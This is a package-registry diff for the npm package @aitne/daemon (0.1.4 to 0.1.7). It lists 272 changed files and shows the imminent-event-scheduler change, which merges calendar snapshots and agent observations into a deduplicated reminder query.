@aitne/daemon 0.1.4 → 0.1.7

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (272) hide show
  1. package/dist/adapters/notification-manager.d.ts +12 -0
  2. package/dist/adapters/notification-manager.d.ts.map +1 -1
  3. package/dist/adapters/notification-manager.js +39 -1
  4. package/dist/adapters/notification-manager.js.map +1 -1
  5. package/dist/api/routes/agent.d.ts.map +1 -1
  6. package/dist/api/routes/agent.js +7 -0
  7. package/dist/api/routes/agent.js.map +1 -1
  8. package/dist/api/routes/commands.d.ts.map +1 -1
  9. package/dist/api/routes/commands.js +16 -13
  10. package/dist/api/routes/commands.js.map +1 -1
  11. package/dist/api/routes/context.d.ts.map +1 -1
  12. package/dist/api/routes/context.js +13 -2
  13. package/dist/api/routes/context.js.map +1 -1
  14. package/dist/api/routes/dashboard.d.ts.map +1 -1
  15. package/dist/api/routes/dashboard.js +28 -0
  16. package/dist/api/routes/dashboard.js.map +1 -1
  17. package/dist/api/routes/fs.d.ts +23 -0
  18. package/dist/api/routes/fs.d.ts.map +1 -0
  19. package/dist/api/routes/fs.js +156 -0
  20. package/dist/api/routes/fs.js.map +1 -0
  21. package/dist/api/routes/fs.logic.d.ts +62 -0
  22. package/dist/api/routes/fs.logic.d.ts.map +1 -0
  23. package/dist/api/routes/fs.logic.js +137 -0
  24. package/dist/api/routes/fs.logic.js.map +1 -0
  25. package/dist/api/routes/health.d.ts.map +1 -1
  26. package/dist/api/routes/health.js +4 -2
  27. package/dist/api/routes/health.js.map +1 -1
  28. package/dist/api/routes/integrations.d.ts.map +1 -1
  29. package/dist/api/routes/integrations.js +8 -6
  30. package/dist/api/routes/integrations.js.map +1 -1
  31. package/dist/api/routes/metrics.d.ts +1 -0
  32. package/dist/api/routes/metrics.d.ts.map +1 -1
  33. package/dist/api/routes/metrics.js +24 -0
  34. package/dist/api/routes/metrics.js.map +1 -1
  35. package/dist/api/routes/observations.d.ts.map +1 -1
  36. package/dist/api/routes/observations.js +538 -25
  37. package/dist/api/routes/observations.js.map +1 -1
  38. package/dist/api/routes/skills.d.ts +9 -1
  39. package/dist/api/routes/skills.d.ts.map +1 -1
  40. package/dist/api/routes/skills.js +38 -16
  41. package/dist/api/routes/skills.js.map +1 -1
  42. package/dist/api/routes/wiki.d.ts +4 -0
  43. package/dist/api/routes/wiki.d.ts.map +1 -0
  44. package/dist/api/routes/wiki.js +1075 -0
  45. package/dist/api/routes/wiki.js.map +1 -0
  46. package/dist/api/server.d.ts +13 -0
  47. package/dist/api/server.d.ts.map +1 -1
  48. package/dist/api/server.js +27 -1
  49. package/dist/api/server.js.map +1 -1
  50. package/dist/config.d.ts.map +1 -1
  51. package/dist/config.js +26 -0
  52. package/dist/config.js.map +1 -1
  53. package/dist/core/agent-core.d.ts +25 -0
  54. package/dist/core/agent-core.d.ts.map +1 -1
  55. package/dist/core/agent-core.js.map +1 -1
  56. package/dist/core/backends/backend-router.d.ts +5 -1
  57. package/dist/core/backends/backend-router.d.ts.map +1 -1
  58. package/dist/core/backends/backend-router.js +10 -1
  59. package/dist/core/backends/backend-router.js.map +1 -1
  60. package/dist/core/backends/claude-code-core.d.ts.map +1 -1
  61. package/dist/core/backends/claude-code-core.js +62 -4
  62. package/dist/core/backends/claude-code-core.js.map +1 -1
  63. package/dist/core/backends/claude-tool-collection.d.ts +1 -1
  64. package/dist/core/backends/claude-tool-collection.d.ts.map +1 -1
  65. package/dist/core/backends/claude-tool-collection.js +327 -65
  66. package/dist/core/backends/claude-tool-collection.js.map +1 -1
  67. package/dist/core/backends/codex-core.d.ts.map +1 -1
  68. package/dist/core/backends/codex-core.js +36 -0
  69. package/dist/core/backends/codex-core.js.map +1 -1
  70. package/dist/core/backends/gemini-cli-core.d.ts +24 -5
  71. package/dist/core/backends/gemini-cli-core.d.ts.map +1 -1
  72. package/dist/core/backends/gemini-cli-core.js +62 -30
  73. package/dist/core/backends/gemini-cli-core.js.map +1 -1
  74. package/dist/core/backends/plan-presets.d.ts +3 -1
  75. package/dist/core/backends/plan-presets.d.ts.map +1 -1
  76. package/dist/core/backends/plan-presets.js +42 -2
  77. package/dist/core/backends/plan-presets.js.map +1 -1
  78. package/dist/core/bang-commands/commands-help.d.ts +5 -0
  79. package/dist/core/bang-commands/commands-help.d.ts.map +1 -0
  80. package/dist/core/bang-commands/commands-help.js +69 -0
  81. package/dist/core/bang-commands/commands-help.js.map +1 -0
  82. package/dist/core/bang-commands/commands-wiki.d.ts +75 -0
  83. package/dist/core/bang-commands/commands-wiki.d.ts.map +1 -0
  84. package/dist/core/bang-commands/commands-wiki.js +574 -0
  85. package/dist/core/bang-commands/commands-wiki.js.map +1 -0
  86. package/dist/core/bang-commands/index.d.ts +4 -2
  87. package/dist/core/bang-commands/index.d.ts.map +1 -1
  88. package/dist/core/bang-commands/index.js +15 -1
  89. package/dist/core/bang-commands/index.js.map +1 -1
  90. package/dist/core/bang-commands/registry.d.ts +47 -4
  91. package/dist/core/bang-commands/registry.d.ts.map +1 -1
  92. package/dist/core/bang-commands/registry.js +85 -15
  93. package/dist/core/bang-commands/registry.js.map +1 -1
  94. package/dist/core/context-builder.d.ts +17 -0
  95. package/dist/core/context-builder.d.ts.map +1 -1
  96. package/dist/core/context-builder.js +64 -6
  97. package/dist/core/context-builder.js.map +1 -1
  98. package/dist/core/daemon-api-cli.d.ts.map +1 -1
  99. package/dist/core/daemon-api-cli.js +50 -2
  100. package/dist/core/daemon-api-cli.js.map +1 -1
  101. package/dist/core/dispatcher-message-handler.d.ts.map +1 -1
  102. package/dist/core/dispatcher-message-handler.js +10 -0
  103. package/dist/core/dispatcher-message-handler.js.map +1 -1
  104. package/dist/core/dispatcher-morning-routine.d.ts.map +1 -1
  105. package/dist/core/dispatcher-morning-routine.js +17 -2
  106. package/dist/core/dispatcher-morning-routine.js.map +1 -1
  107. package/dist/core/dispatcher-result-processor.d.ts +23 -0
  108. package/dist/core/dispatcher-result-processor.d.ts.map +1 -1
  109. package/dist/core/dispatcher-result-processor.js +124 -5
  110. package/dist/core/dispatcher-result-processor.js.map +1 -1
  111. package/dist/core/dispatcher-scheduled-tasks.d.ts.map +1 -1
  112. package/dist/core/dispatcher-scheduled-tasks.js +114 -80
  113. package/dist/core/dispatcher-scheduled-tasks.js.map +1 -1
  114. package/dist/core/dispatcher-types.d.ts +116 -1
  115. package/dist/core/dispatcher-types.d.ts.map +1 -1
  116. package/dist/core/dispatcher-types.js.map +1 -1
  117. package/dist/core/dispatcher.d.ts +36 -0
  118. package/dist/core/dispatcher.d.ts.map +1 -1
  119. package/dist/core/dispatcher.js +94 -1
  120. package/dist/core/dispatcher.js.map +1 -1
  121. package/dist/core/integration-lifecycle.d.ts.map +1 -1
  122. package/dist/core/integration-lifecycle.js +6 -8
  123. package/dist/core/integration-lifecycle.js.map +1 -1
  124. package/dist/core/metrics.d.ts +127 -0
  125. package/dist/core/metrics.d.ts.map +1 -1
  126. package/dist/core/metrics.js +256 -1
  127. package/dist/core/metrics.js.map +1 -1
  128. package/dist/core/prompts.d.ts +2 -1
  129. package/dist/core/prompts.d.ts.map +1 -1
  130. package/dist/core/prompts.js +40 -0
  131. package/dist/core/prompts.js.map +1 -1
  132. package/dist/core/roadmap-validate.js +13 -1
  133. package/dist/core/roadmap-validate.js.map +1 -1
  134. package/dist/core/routine-acquisition-plan.d.ts +51 -0
  135. package/dist/core/routine-acquisition-plan.d.ts.map +1 -1
  136. package/dist/core/routine-acquisition-plan.js +111 -12
  137. package/dist/core/routine-acquisition-plan.js.map +1 -1
  138. package/dist/core/routine-fetch-window-retry.d.ts +109 -0
  139. package/dist/core/routine-fetch-window-retry.d.ts.map +1 -0
  140. package/dist/core/routine-fetch-window-retry.js +210 -0
  141. package/dist/core/routine-fetch-window-retry.js.map +1 -0
  142. package/dist/core/routine-fetch-window-runner.d.ts +258 -32
  143. package/dist/core/routine-fetch-window-runner.d.ts.map +1 -1
  144. package/dist/core/routine-fetch-window-runner.js +1115 -185
  145. package/dist/core/routine-fetch-window-runner.js.map +1 -1
  146. package/dist/core/routine-windows.d.ts +19 -4
  147. package/dist/core/routine-windows.d.ts.map +1 -1
  148. package/dist/core/routine-windows.js +47 -0
  149. package/dist/core/routine-windows.js.map +1 -1
  150. package/dist/core/scheduler.d.ts +50 -2
  151. package/dist/core/scheduler.d.ts.map +1 -1
  152. package/dist/core/scheduler.js +88 -7
  153. package/dist/core/scheduler.js.map +1 -1
  154. package/dist/core/skill-curation/declarations.d.ts.map +1 -1
  155. package/dist/core/skill-curation/declarations.js +11 -12
  156. package/dist/core/skill-curation/declarations.js.map +1 -1
  157. package/dist/core/skill-source-paths.d.ts +14 -0
  158. package/dist/core/skill-source-paths.d.ts.map +1 -0
  159. package/dist/core/skill-source-paths.js +82 -0
  160. package/dist/core/skill-source-paths.js.map +1 -0
  161. package/dist/core/skills-compiler.d.ts +18 -0
  162. package/dist/core/skills-compiler.d.ts.map +1 -1
  163. package/dist/core/skills-compiler.js +65 -18
  164. package/dist/core/skills-compiler.js.map +1 -1
  165. package/dist/core/skills-manifest.d.ts.map +1 -1
  166. package/dist/core/skills-manifest.js +46 -0
  167. package/dist/core/skills-manifest.js.map +1 -1
  168. package/dist/core/system-reset.d.ts +25 -0
  169. package/dist/core/system-reset.d.ts.map +1 -1
  170. package/dist/core/system-reset.js +47 -0
  171. package/dist/core/system-reset.js.map +1 -1
  172. package/dist/core/wiki/approval-queue.d.ts +31 -0
  173. package/dist/core/wiki/approval-queue.d.ts.map +1 -0
  174. package/dist/core/wiki/approval-queue.js +44 -0
  175. package/dist/core/wiki/approval-queue.js.map +1 -0
  176. package/dist/core/wiki/bridge.d.ts +74 -0
  177. package/dist/core/wiki/bridge.d.ts.map +1 -0
  178. package/dist/core/wiki/bridge.js +405 -0
  179. package/dist/core/wiki/bridge.js.map +1 -0
  180. package/dist/core/wiki/compile-lock.d.ts +42 -0
  181. package/dist/core/wiki/compile-lock.d.ts.map +1 -0
  182. package/dist/core/wiki/compile-lock.js +55 -0
  183. package/dist/core/wiki/compile-lock.js.map +1 -0
  184. package/dist/core/wiki/compile-preview.d.ts +8 -0
  185. package/dist/core/wiki/compile-preview.d.ts.map +1 -0
  186. package/dist/core/wiki/compile-preview.js +200 -0
  187. package/dist/core/wiki/compile-preview.js.map +1 -0
  188. package/dist/core/wiki/cost-estimate.d.ts +30 -0
  189. package/dist/core/wiki/cost-estimate.d.ts.map +1 -0
  190. package/dist/core/wiki/cost-estimate.js +243 -0
  191. package/dist/core/wiki/cost-estimate.js.map +1 -0
  192. package/dist/core/wiki/dispatcher.d.ts +48 -0
  193. package/dist/core/wiki/dispatcher.d.ts.map +1 -0
  194. package/dist/core/wiki/dispatcher.js +92 -0
  195. package/dist/core/wiki/dispatcher.js.map +1 -0
  196. package/dist/core/wiki/git-precompile.d.ts +86 -0
  197. package/dist/core/wiki/git-precompile.d.ts.map +1 -0
  198. package/dist/core/wiki/git-precompile.js +96 -0
  199. package/dist/core/wiki/git-precompile.js.map +1 -0
  200. package/dist/core/wiki/import-migrate.d.ts +38 -0
  201. package/dist/core/wiki/import-migrate.d.ts.map +1 -0
  202. package/dist/core/wiki/import-migrate.js +310 -0
  203. package/dist/core/wiki/import-migrate.js.map +1 -0
  204. package/dist/core/wiki/import-probe.d.ts +76 -0
  205. package/dist/core/wiki/import-probe.d.ts.map +1 -0
  206. package/dist/core/wiki/import-probe.js +245 -0
  207. package/dist/core/wiki/import-probe.js.map +1 -0
  208. package/dist/core/wiki/index-cache.d.ts +39 -0
  209. package/dist/core/wiki/index-cache.d.ts.map +1 -0
  210. package/dist/core/wiki/index-cache.js +152 -0
  211. package/dist/core/wiki/index-cache.js.map +1 -0
  212. package/dist/core/wiki/multi-url-dispatch.d.ts +52 -0
  213. package/dist/core/wiki/multi-url-dispatch.d.ts.map +1 -0
  214. package/dist/core/wiki/multi-url-dispatch.js +72 -0
  215. package/dist/core/wiki/multi-url-dispatch.js.map +1 -0
  216. package/dist/core/wiki/wiki-fts.d.ts +75 -0
  217. package/dist/core/wiki/wiki-fts.d.ts.map +1 -0
  218. package/dist/core/wiki/wiki-fts.js +265 -0
  219. package/dist/core/wiki/wiki-fts.js.map +1 -0
  220. package/dist/core/wiki/workspaces.d.ts +101 -0
  221. package/dist/core/wiki/workspaces.d.ts.map +1 -0
  222. package/dist/core/wiki/workspaces.js +352 -0
  223. package/dist/core/wiki/workspaces.js.map +1 -0
  224. package/dist/core/wiki/write-strategy.d.ts +70 -0
  225. package/dist/core/wiki/write-strategy.d.ts.map +1 -0
  226. package/dist/core/wiki/write-strategy.js +112 -0
  227. package/dist/core/wiki/write-strategy.js.map +1 -0
  228. package/dist/core/workdir.d.ts +8 -1
  229. package/dist/core/workdir.d.ts.map +1 -1
  230. package/dist/core/workdir.js +4 -1
  231. package/dist/core/workdir.js.map +1 -1
  232. package/dist/db/schema.d.ts.map +1 -1
  233. package/dist/db/schema.js +122 -0
  234. package/dist/db/schema.js.map +1 -1
  235. package/dist/db/wiki-store.d.ts +3 -0
  236. package/dist/db/wiki-store.d.ts.map +1 -0
  237. package/dist/db/wiki-store.js +7 -0
  238. package/dist/db/wiki-store.js.map +1 -0
  239. package/dist/index.js +87 -4
  240. package/dist/index.js.map +1 -1
  241. package/dist/messaging/setup-welcome-dm.d.ts +30 -0
  242. package/dist/messaging/setup-welcome-dm.d.ts.map +1 -0
  243. package/dist/messaging/setup-welcome-dm.js +86 -0
  244. package/dist/messaging/setup-welcome-dm.js.map +1 -0
  245. package/dist/messaging/url-extract.d.ts +8 -0
  246. package/dist/messaging/url-extract.d.ts.map +1 -0
  247. package/dist/messaging/url-extract.js +41 -0
  248. package/dist/messaging/url-extract.js.map +1 -0
  249. package/dist/observers/delegated-sync-worker.d.ts +33 -25
  250. package/dist/observers/delegated-sync-worker.d.ts.map +1 -1
  251. package/dist/observers/delegated-sync-worker.js +38 -31
  252. package/dist/observers/delegated-sync-worker.js.map +1 -1
  253. package/dist/observers/imminent-event-scheduler.d.ts +20 -7
  254. package/dist/observers/imminent-event-scheduler.d.ts.map +1 -1
  255. package/dist/observers/imminent-event-scheduler.js +134 -29
  256. package/dist/observers/imminent-event-scheduler.js.map +1 -1
  257. package/dist/safety/always-disallowed.d.ts +65 -0
  258. package/dist/safety/always-disallowed.d.ts.map +1 -1
  259. package/dist/safety/always-disallowed.js +106 -10
  260. package/dist/safety/always-disallowed.js.map +1 -1
  261. package/dist/safety/audit.d.ts +46 -1
  262. package/dist/safety/audit.d.ts.map +1 -1
  263. package/dist/safety/audit.js +79 -16
  264. package/dist/safety/audit.js.map +1 -1
  265. package/dist/safety/risk-classifier.d.ts.map +1 -1
  266. package/dist/safety/risk-classifier.js +29 -0
  267. package/dist/safety/risk-classifier.js.map +1 -1
  268. package/dist/settings/runtime-settings.d.ts +12 -1
  269. package/dist/settings/runtime-settings.d.ts.map +1 -1
  270. package/dist/settings/runtime-settings.js +59 -1
  271. package/dist/settings/runtime-settings.js.map +1 -1
  272. package/package.json +2 -2
@@ -1,22 +1,45 @@
1
1
  import { createEvent, EventPriority, } from "@aitne/shared";
2
2
  import { createLogger } from "../logging.js";
3
3
  const logger = createLogger("imminent-event-scheduler");
4
+ function extractCalendarPayload(parsed) {
5
+ // Observation `raw.title` wins for native rows; snapshot `summary` wins
6
+ // for direct / delegated rows. The two writers never produce both keys,
7
+ // so the precedence is informational rather than collision-resolving.
8
+ const raw = parsed.raw ?? undefined;
9
+ const title = raw?.title ?? raw?.summary ?? parsed.summary ?? null;
10
+ const start = raw?.start ?? parsed.start ?? null;
11
+ const end = raw?.end ?? parsed.end ?? null;
12
+ return { title, start, end };
13
+ }
4
14
  /**
5
15
  * 15-minute imminent-meeting reminder emitter.
6
16
  *
7
- * Reads `integration_snapshots` for calendar events whose `item_start`
8
- * falls inside `[now, now + 15min]` and emits one `schedule.approaching`
9
- * event per item via the EventBus. Mode-agnostic: the snapshot table is
10
- * populated by `CalendarPoller` (direct mode) or `DelegatedSyncWorker`
11
- * (delegated mode), so the same scheduler works regardless of which
12
- * source is active.
17
+ * Reads two sources for upcoming Google Calendar events in `[now, now + 15min]`
18
+ * and emits one `schedule.approaching` event per item via the EventBus:
19
+ *
20
+ * - `integration_snapshots` rows for `integration = 'google_calendar'`
21
+ * populated by `CalendarPoller` (direct mode) and `DelegatedSyncWorker`
22
+ * (delegated mode).
23
+ * - `observations` rows for `source LIKE 'google_calendar:%'` — populated
24
+ * by the agent's `/api/observations` POSTs during the native-mode
25
+ * `routine.fetch_window` pre-pass (`imminent_2h` window). In native
26
+ * mode the daemon does NOT poll and integration_snapshots stays empty
27
+ * by design (`INTEGRATION_SNAPSHOT_PARTITIONS_BY_MODE[google_calendar].native = []`);
28
+ * without this second source, native-mode users would silently lose
29
+ * every 15-minute reminder. Cadence note: native observations refresh
30
+ * on the hourly_check tick (60-min cadence) so events scheduled with
31
+ * less than ~60 min lead-time may miss their reminder. The 5-min
32
+ * direct-mode polling cadence does not have this limit.
13
33
  *
14
34
  * INTEGRATION-DRIFT-PHASE-7-PLAN.md §3.2 — dedup is persistent. Pre-
15
35
  * Phase-7 the scheduler kept an in-memory Set; daemon restarts re-DMed
16
36
  * every imminent event in flight. The new `imminent_event_notifications`
17
37
  * table records `(item_id, notified_at)` on each emit and is consulted
18
38
  * before each tick. Retention prunes rows older than 24 h via
19
- * retention.ts.
39
+ * retention.ts. Cross-source dedup is automatic: snapshot `item_id` and
40
+ * observation `ref` both use the provider's stable event id, so the
41
+ * same row in both tables resolves to a single `imminent_event_notifications`
42
+ * entry.
20
43
  */
21
44
  export class ImminentEventScheduler {
22
45
  db;
@@ -48,44 +71,125 @@ export class ImminentEventScheduler {
48
71
  async tick() {
49
72
  const now = this.now();
50
73
  const max = new Date(now.getTime() + 15 * 60 * 1000);
51
- // LEFT-JOIN against the dedup table so a row already notified is
52
- // skipped without a second round-trip per row. The `notified_at IS
53
- // NULL` clause is the dedup gate; the index on (item_id) makes the
54
- // join O(1) per row.
74
+ const nowIso = now.toISOString();
75
+ const maxIso = max.toISOString();
76
+ // UNION ALL across the two writers (snapshot table for direct /
77
+ // delegated; observations table for native). LEFT-JOIN against the
78
+ // dedup table at the outer level so a row already notified is
79
+ // skipped regardless of which source produced it. Cross-source
80
+ // duplicates (same provider event id appearing in both tables, e.g.
81
+ // briefly during a mode flip) collapse via the JS-side `seen` set
82
+ // below — we emit at most one `schedule.approaching` event per
83
+ // item_id even if both queries surface it.
84
+ //
85
+ // The observation branch is keyed by `o.consumed_at IS NULL` so we
86
+ // don't fire reminders for events the morning routine already
87
+ // consumed (the pending-observations filter). Direct/delegated
88
+ // snapshots have no consumed_at column — the writer reconciles
89
+ // in-place, so the snapshot row always reflects the current state.
90
+ // Timestamp normalisation rationale (Issue A1, 2026-05-13).
91
+ //
92
+ // Snapshot path: the writer normalises `item_start` to UTC ISO with
93
+ // Z suffix via `normalizeTimeForRange` (integrations-snapshot.ts)
94
+ // before insert, so raw string compare on snapshots is correct AND
95
+ // can use the `idx_integration_snapshots_imminent` covering index
96
+ // (a `datetime()` wrapper would block the index per SQLite's
97
+ // "expressions on indexed column" rule).
98
+ //
99
+ // Observation path: the writer is the agent's `/api/observations`
100
+ // POST — the partial's contract is "the response from the upstream
101
+ // call IS the payload, do not summarise or rank", so the start
102
+ // timestamp inherits whatever format the bound Calendar MCP
103
+ // emitted. Google Calendar MCPs typically return RFC 3339 with
104
+ // timezone offset (`2026-04-29T08:00:00-04:00`). A lexicographic
105
+ // compare of those against the UTC-Z `now.toISOString()` parameter
106
+ // mis-orders rows across the dateline / DST boundary and silently
107
+ // drops imminent reminders. SQLite's `datetime()` normalises both
108
+ // forms to the canonical `'YYYY-MM-DD HH:MM:SS'` UTC string; NULL
109
+ // / unparseable inputs return NULL which the WHERE filter
110
+ // discards.
111
+ //
112
+ // ORDER BY: `datetime()`-normalised on both sides so the
113
+ // cross-source dedup case (snapshot + observation rows for the
114
+ // same event id appearing during a mode flip) deterministically
115
+ // picks the same winner regardless of which format the
116
+ // observation row carries. The set ordered here is already
117
+ // narrowed by the WHERE filter to rows in [now, now+15min] — a
118
+ // handful, not the full table — so the per-row `datetime()` cost
119
+ // is negligible.
55
120
  const rows = this.db
56
- .prepare(`SELECT s.item_id AS item_id,
57
- s.payload_json AS payload_json,
58
- s.item_start AS item_start
59
- FROM integration_snapshots s
121
+ .prepare(`SELECT candidates.source_kind AS source_kind,
122
+ candidates.item_id AS item_id,
123
+ candidates.payload_json AS payload_json,
124
+ candidates.item_start AS item_start
125
+ FROM (
126
+ SELECT 'snapshot' AS source_kind,
127
+ s.item_id AS item_id,
128
+ s.payload_json AS payload_json,
129
+ s.item_start AS item_start
130
+ FROM integration_snapshots s
131
+ WHERE s.integration = 'google_calendar'
132
+ AND s.item_start IS NOT NULL
133
+ AND s.item_start > ?
134
+ AND s.item_start <= ?
135
+ UNION ALL
136
+ SELECT 'observation' AS source_kind,
137
+ o.ref AS item_id,
138
+ o.payload AS payload_json,
139
+ json_extract(o.payload, '$.raw.start') AS item_start
140
+ FROM observations o
141
+ WHERE o.source LIKE 'google_calendar:%'
142
+ AND o.consumed_at IS NULL
143
+ -- json_valid guards against the SQLite json_extract runtime
144
+ -- error when the payload column happens to contain non-JSON
145
+ -- text. The agent's /api/observations POST handler rejects
146
+ -- malformed bodies, so production never hits this branch.
147
+ -- The gate matches the snapshot path's recovery contract:
148
+ -- skip the row, do NOT write a dedup entry, let the next
149
+ -- tick reprocess if the upstream row gets repaired.
150
+ AND json_valid(o.payload) = 1
151
+ AND json_extract(o.payload, '$.kind') = 'calendar'
152
+ AND json_extract(o.payload, '$.raw.start') IS NOT NULL
153
+ AND datetime(json_extract(o.payload, '$.raw.start')) > datetime(?)
154
+ AND datetime(json_extract(o.payload, '$.raw.start')) <= datetime(?)
155
+ ) AS candidates
60
156
  LEFT JOIN imminent_event_notifications n
61
- ON n.item_id = s.item_id
62
- WHERE s.integration = 'google_calendar'
63
- AND s.item_start IS NOT NULL
64
- AND s.item_start > ?
65
- AND s.item_start <= ?
66
- AND n.notified_at IS NULL
67
- ORDER BY s.item_start ASC`)
68
- .all(now.toISOString(), max.toISOString());
157
+ ON n.item_id = candidates.item_id
158
+ WHERE n.notified_at IS NULL
159
+ ORDER BY datetime(candidates.item_start) ASC`)
160
+ .all(nowIso, maxIso, nowIso, maxIso);
69
161
  if (rows.length === 0)
70
162
  return;
71
163
  const insertNotification = this.db.prepare(`INSERT INTO imminent_event_notifications (item_id, notified_at)
72
164
  VALUES (?, ?)
73
165
  ON CONFLICT(item_id) DO NOTHING`);
166
+ // Cross-source dedup: the snapshot writer and the observation writer
167
+ // can briefly carry the same provider event id during a direct↔native
168
+ // mode flip (snapshot purge is best-effort, agent posts happen in-turn).
169
+ // The DB-level `imminent_event_notifications` dedup catches this once
170
+ // the first row is processed, but on a single tick where both rows
171
+ // pass the WHERE filter we'd otherwise emit twice before the INSERT
172
+ // commits. Track item_ids in-loop and skip the second occurrence.
173
+ const seen = new Set();
74
174
  for (const row of rows) {
175
+ if (seen.has(row.item_id))
176
+ continue;
177
+ seen.add(row.item_id);
75
178
  const startMs = Date.parse(row.item_start);
76
179
  if (!Number.isFinite(startMs))
77
180
  continue;
78
181
  const minutesUntil = (startMs - now.getTime()) / 60_000;
79
182
  if (minutesUntil <= 0 || minutesUntil > 15)
80
183
  continue;
81
- let payload;
184
+ let parsed;
82
185
  try {
83
- payload = JSON.parse(row.payload_json);
186
+ parsed = JSON.parse(row.payload_json);
84
187
  }
85
188
  catch (err) {
86
- logger.warn({ err, itemId: row.item_id }, "Skipping imminent event with invalid snapshot payload");
189
+ logger.warn({ err, itemId: row.item_id, sourceKind: row.source_kind }, "Skipping imminent event with invalid payload");
87
190
  continue;
88
191
  }
192
+ const payload = extractCalendarPayload(parsed);
89
193
  // Mark notified BEFORE the EventBus put. If the put throws, a
90
194
  // duplicate emit on the next tick is preferable to losing the row
91
195
  // here, but the put path itself is in-memory and synchronous —
@@ -101,14 +205,14 @@ export class ImminentEventScheduler {
101
205
  priority: EventPriority.HIGH,
102
206
  data: {
103
207
  calendarEventId: row.item_id,
104
- summary: payload.summary ?? "",
208
+ summary: payload.title ?? "",
105
209
  startTime: payload.start ?? row.item_start,
106
210
  endTime: payload.end ?? null,
107
211
  minutesUntil: Math.round(minutesUntil),
108
212
  },
109
213
  }),
110
214
  calendarId: this.calendarId,
111
- eventTitle: payload.summary ?? "Untitled Event",
215
+ eventTitle: payload.title ?? "Untitled Event",
112
216
  startTime: new Date(startMs),
113
217
  endTime: payload.end ? new Date(payload.end) : null,
114
218
  changeType: "approaching",
@@ -116,7 +220,8 @@ export class ImminentEventScheduler {
116
220
  await this.eventBus.put(event);
117
221
  logger.info({
118
222
  itemId: row.item_id,
119
- event: payload.summary,
223
+ sourceKind: row.source_kind,
224
+ event: payload.title,
120
225
  minutesUntil: Math.round(minutesUntil),
121
226
  }, "Approaching calendar event");
122
227
  }
@@ -1 +1 @@
1
- {"version":3,"file":"imminent-event-scheduler.js","sourceRoot":"","sources":["../../src/observers/imminent-event-scheduler.ts"],"names":[],"mappings":"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